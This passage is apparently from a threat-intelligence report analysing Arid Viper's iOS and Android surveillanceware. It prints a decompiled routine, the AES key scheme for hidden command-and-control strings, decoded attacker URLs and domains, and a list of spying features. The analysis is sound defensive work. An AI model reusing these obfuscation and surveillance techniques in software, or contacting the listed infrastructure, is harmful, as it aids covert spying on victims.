R1JRdtLK0dev2b+ad4+nB08Fh8RrCriW2qs+d0Klyu\\LJWv3T9d7NCW1uk60VtJfLmk3KwmvL09CNRrEKrnpnvWm23V588zxEqiU6mJjBK3LCDI Cdk452\\04PD0sR7Kr137d6ST+L1V7207ro7bed5f05hWhh8ppU8Li2uNVR1OhJJT1zXVvz6Stzvfdid0vnbv74SSsYmXCbs4AV13KHUcnB543I ``` Similarly, Phenakite periodically uses the camera of a compromised device to take photos and sends these automatically to attacker infrastructure. ### 1.4.Scope of iOS targeting Facebook did not find any evidence to suggest Arid Viper had widely deployed Phenakite.We identified only a handful of posts that contained links to websites known to host Arid Viper malware.A misconfigured Firebase server with which infected devices would communicate showed 81 users at the time of analysis.Closer inspection of the publicly exposed data on this firebase instance suggests that at least several of the devices were fake adversary-controlled accounts, used to engage with and further socially engineer victims.For these reasons, the true number of targets is likely lower, which suggests Arid Viper sparingly used this malware. Throughout Facebook’s analysis of Phenakite, we regularly shared IOCs and TTPs with industry peers.This included full URLs to sites hosting malware as well as samples of the malware itself that we found and analyzed.Because of these actions, and through industry collaboration, the developer certificates used to sign Phenakite were quickly revoked and it appears Arid Viper’s iOS operations have paused at the time of this writing.This becomes more apparent when we compare the frequency with which links to Arid Viper’s iOS malware were detected on Facebook to the revocation of Arid Viper’s developer certificates. {19}------------------------------------------------ ### 2.Evolving Android Surveillanceware Analysis of the Android surveillanceware used by Arid Viper in their recent campaign revealed many similarities to tooling previously attributed to APT-C-23, also known as Two-tailed scorpion.The ever-changing malware family attributed to APT-C-23 over the years includes [VAMP](#), [GnatSpy](#), [FrozenCell](#), [DesertScorpion](#), and [ViperRAT](#).Facebook found recent variants pretending to be popular Android applications for dating, networking, and regional banking in the Middle East.Unlike Arid Viper's iOS malware, the analyzed Android samples did not contain any legitimate functionality.The main changes from [earlier research](#) centered primarily around code obfuscation being added by those developing this malware. {20}------------------------------------------------ ![A 3x3 grid of nine screenshots from various mobile applications, including Wine Talk, Hidden Chat, Stand By, Mygram IM, and Threema, showing login screens and app interfaces.](0a33d257bbe9cece86ab6a61b127db0d_img.jpg) The image displays a 3x3 grid of screenshots from various mobile applications, primarily focusing on login screens and app interfaces.The applications shown are: - Wine Talk**:The first row shows the app's logo with a couple, a login screen with fields for Username, Password, and a 'SIGN IN' button, and another login screen with fields for Username, Password, Mobile, and Email.- Hidden Chat**:The second row shows a login screen with a shield logo, a 'Sign In' button, and a 'Sign Up' button.- Stand By**:The second row also shows a login screen with a heart logo, fields for Username and Password, a 'SIGN IN' button, and a 'Sign Up' button.- Mygram IM**:The third row shows the app's logo with a paper plane icon and the text 'The world's fastest messaging app.' - Stand By**:The third row also shows a 'No Internet Connection' message with a heart logo.- Threema**:The third row shows a dark screen with a green dot and the text 'Threema.' A 3x3 grid of nine screenshots from various mobile applications, including Wine Talk, Hidden Chat, Stand By, Mygram IM, and Threema, showing login screens and app interfaces. As with previous Arid Viper Android malware, many are trojanized chat applications that appear to facilitate dating.This approach is consistent with Arid Viper's use of social engineering to engage potential victims from a romantic angle. {21}------------------------------------------------ ![Two screenshots of mobile app update screens.The left screen shows 'Android Q' with a green logo and the text 'upgrading...' and 'The world's fastest update system.' The right screen shows 'WhatsApp' with a green logo, a 64% progress bar, and a list of contacts below.](0b0dbdb00519a67d96c812ee07da3a1e_img.jpg) Two screenshots of mobile app update screens.The left screen shows 'Android Q' with a green logo and the text 'upgrading...' and 'The world's fastest update system.' The right screen shows 'WhatsApp' with a green logo, a 64% progress bar, and a list of contacts below. Consistent with past reports of Arid Viper disguising their malware as updates for legitimate apps, we found several fake app updates. ``` Package:Package [private.wine.talk] (1d97d90):uid=10111uid=10983uid=1015 pkg=Package[1b972be private.wine.talk] codePath=/data/app/private.wine.talk-1 resourcePath=/data/app/private.wine.talk-1 signature=/system/framework/com.android.v7a primaryCpuAbi=arm64-v7a secondaryCpuAbi=null versionCode=23326 targetSdvi=22 versionName=2.1.11.18 applicationInfo=ApplicationInfo[168e3e18 private.wine.talk] Flags[ HAD_CODE_ALLOW_CLEAN_USER_DATA ALLOW_BACKUP LARGE_HEAP ] datedir=/data/data/private.wine.talk supportsRendersize[small, medium, large, xlarge, resizable, anyDensity] timeStamp=2019-11-13 17:21:32 firstInstallTime=2019-11-13 17:21:33 lastUpdateTime=2019-11-13 17:21:33 signatures=packageSignatures[1d97d90f [1b972be]] permissionsFixed=true haveuid=true installStatus=1 pgFlag=HAD_CODE_ALLOW_CLEAN_USER_DATA ALLOW_BACKUP LARGE_HEAP user #1 installed=true hidden=false stopped=true notLaunched=true enabled=0 grantedPermissions:android.permission.SYSTEM_ALERT_WINDOW android.permission.DISABLE_KEYGUARD android.permission.READ_PHONE_STATE android.permission.RECEIVE_SMS android.permission.READ_CONTACTS android.permission.READ_SMS android.permission.WAKE_LOCK com.google.android.gms.permission.BIND_GET_INSTALL_REFERRER_SERVICE android.permission.GET_ACCOUNTS android.permission.CHANGE_WIFI_STATE android.permission.CAMERA android.permission.SEND_SMS android.permission.WRITE_CONTACTS com.google.android.c2dm.permission.RECEIVE android.permission.ACCESS_NETWORK_STATE android.permission.RECORD_AUDIO android.permission.WRITE_EXTERNAL_STORAGE android.permission.GET_TASKS android.permission.READ_PROFILE android.permission.MODIFY_AUDIO_SETTINGS android.permission.RECEIVE_BOOT_COMPLETED android.permission.READ_EXTERNAL_STORAGE android.permission.CALL_PHONE android.permission.ACCESS_WIFI_STATE android.permission.USE_CREDENTIALS ``` ![Screenshot of an Android app interface titled 'Disable Play Protect'.It contains the text:'Disable Play Protect.Threema App is a Private Chat App.If you don't Disable Play Protect Property, Google can see your private messages.' with an 'OK' button at the bottom right.](4b0f6b9fffe1f9b12f0db27b76e617ca_img.jpg) Screenshot of an Android app interface titled 'Disable Play Protect'.It contains the text:'Disable Play Protect.Threema App is a Private Chat App.If you don't Disable Play Protect Property, Google can see your private messages.' with an 'OK' button at the bottom right. ![Screenshot of an Android 'Device administrator' screen.It shows a setting for 'Wine Talk' with the text:'This administrator is active and allows the app Android Installer to perform the following operations:Wine Talk is a system app, you cannot Uninstall it for your device not to be damaged.' with 'CANCEL' and 'OK' buttons.Below this, there are 'CANCEL' and 'DEACTIVATE' buttons.](6f78ea3343d75a12a76a4c51af28da87_img.jpg) Screenshot of an Android 'Device administrator' screen.It shows a setting for 'Wine Talk' with the text:'This administrator is active and allows the app Android Installer to perform the following operations:Wine Talk is a system app, you cannot Uninstall it for your device not to be damaged.' with 'CANCEL' and 'OK' buttons.Below this, there are 'CANCEL' and 'DEACTIVATE' buttons. Unlike Phenakite that came bundled with exploits in order to retrieve sensitive user data, the Android malware purely relies on a user granting it the required permissions upon installation.In some cases, the Android malware contained functionality that forced targets to disable Google Play Protect and give the app device admin permissions, making it harder to remove. {22}------------------------------------------------ The analyzed Arid Viper Android malware contained the following functionality: - Record calls - Record environment audio for a specified time period - Take screenshots or record video - Intercept and retrieve text messages - Take pictures with the device camera - Call attacker specified numbers - Restart wifi - Make USSD calls with the prefix\*130\* or\*111\*5\* that are appended with attacker-controlled values - Dynamically check the device's access and permissions - Logs device use information such as when shutdowns occur - Retrieve contact information - Track device location - Retrieve device metadata - Retrieve calendar information - Retrieve call logs - Copy, move, delete, and retrieve attacker specified files - Open or delete attacker-specified apps - Dynamically update command and control infrastructure settings to attacker specified values - Scrapes notification information for WhatsApp, Instagram, Imo, Viber, and Skype - Uses the device camera to take a photo if it detects a user present While analyzing recent Android surveillanceware used by Arid Viper we found that C2 communication typically involved malware first contacting a number of attacker controlled sites that had the sole purpose of providing implants with a primary C2 with which to upload user data.This was likely implemented as a way to add additional complexity around the identification of Arid Viper's primary C2s.In addition, the values for those C2 domains first contacted weren't hardcoded in the Java layer, where they would be clearly visible, instead they were encrypted and stored in a separate ELF binary. {23}------------------------------------------------ ``` 1 Decompile:Java_com_standby_app_AppController_do932 - (libchat-lib.so) 2 3 undefined4 Java_com_standby_app_AppController_do932(int *piParm1) 4 5 { 6 void *this; 7 undefined4 uVar1; 8 9 this = operator.new(0xa0); 10 __aeabi_memcpy(this, 11 "3K=H8N=07S=H8A=N-H0f0W0KmXRht8XxooK/RcrKbsug2v3MRHGjdpZUjLxdi91Ke0eqipgf7Z6UqIGMv 12 A8xq6t4x541C07LA90UtFAPNNp8PyAURQmDRfbsujW3xaNonV97Jr/hUXZc7g6" 13 ,0x91); 14 *(undefined *)((int)this + 0x91) = 0; 15 uVar1 = (**(code **)(*piParm1 + 0x29c))(piParm1,this); 16 _ZdlPv(this); 17 return uVar1; 18 } ``` The majority of Android samples were found to include an additional ELF binary named libchat-lib.so.The purpose of this shared object was to likely slow down static analysis and make it harder to retrieve the initial command and control value. ![](06ccd604e7eac77c7a5a323b6a913f15_img.jpg) Unused 16 bytes found prepended to all encrypted initial C2 strings Delimiter between prepended content and encrypted initial C2 Encrypted C2 content | | | | |-------------------------|-------------------------|------------------| | 33 4B 3D 48 38 4E 3D 4F | 37 53 3D 48 38 41 3D 4E | 3K=H8N=07S=H8A=N | | 2D 76 32 6A 6B 4A 6B 45 | 37 58 63 39 5A 4C 2B 2F | -vZjkJkE7Xc9ZL+/| | 50 76 67 2F 75 71 6E 46 | 69 44 6E 62 2B 62 47 69 | Pvg/uqnFiDnb+bGi | | 4D 52 56 4E 56 67 63 6C | 6F 6A 55 33 39 74 66 39 | MRVNVgclojU39tf9 | | 37 50 72 43 65 67 30 2B | 41 4E 63 45 37 6F 72 49 | 7PrCeg0+ANcE7orI | | 41 47 63 37 48 59 2F 2F | 78 47 39 55 2B 4C 68 68 | AGc7KY//xG9U+Lhh | | 6B 4C 6C 36 35 54 75 6E | 7A 71 4A 6E 77 70 76 30 | kLL65TunzqJnwpv0 | | 57 70 39 6C 74 6E 35 56 | 59 49 71 55 68 37 76 73 | Wp9ltn5VYIqUh7vs | | 34 46 39 74 31 31 77 36 | 49 79 42 30 6F 65 41 71 | 4F9t11w6IyB0oeAq | | 70 | | p | Shown above is an example of how the initially contacted C2 domain is stored in the libchat-lib.so file of recent malware.ASCII characters are on the right with their equivalent hex representation on the left and, of note is that all encrypted content was found to be prepended with the same 16 bytes. The initial C2 value is derived by taking the encrypted content above, base64 decoding it, and decrypting the output with AES in CBC mode and with PKCS7 padding specified.The secret key in analyzed samples was static and was the SHA256 hash for the string `AppCompatActivity_SPECIAL`.The initialization vector used was a 16 byte array of 0's.To get the complete plaintext C2, the resulting string post AES decryption would be parsed, with {24}------------------------------------------------ instances of & and % being removed and occurrences of the@symbol being replaced with\s'.An example of this output pre-substitution and removal of these characters is shown below. ``` h&&&tt&&&&&p@://@ite%%%%%%@.g%%%%o%%%%gle.%%%%%com/vi%ew/c%%%%&&ak%&e-%mak% %%%%r/&%%%%man&%%%%dm@``` ``` https://sites.google.com/view/cake-maker/mandms ``` Included in the appendix is a simple decryption script that takes the encrypted and base64 encoded initial C2 string as shown above and attempts to decrypt it.This script assumes that the secret key is based on the `AppCompatActivity_SPECIAL` string, a 16 byte IV consisting of all zeros is used, and requires bouncy castle (we used `bcprov-jdk15on-163.jar`). Responses from initial C2s used to be JSON objects that an infected device would parse, however it appears Arid Viper was experimenting with different approaches.Initial C2s frequently had the primary C2 domain slightly obfuscated and hidden in the returned HTML content.This can be seen below where a partial snippet of webpage source code shows the title of an initial C2 to the `STACKS ZADAR WEBSITE`.When rendered in a browser, this doesn't provide much indication that something is amiss, however when this page is parsed by an Arid Viper sample created in late 2019 and 2020 we can see that it extracts this value and modifies it slightly to derive the primary C2 domain of `stacks-zadar.website`. ``` ⓘ view-source:https://sites.google.com/view/cake-maker/mandms g"/>STACKS ZADAR WEBSITE

APT_Report: Arid Viper

Reports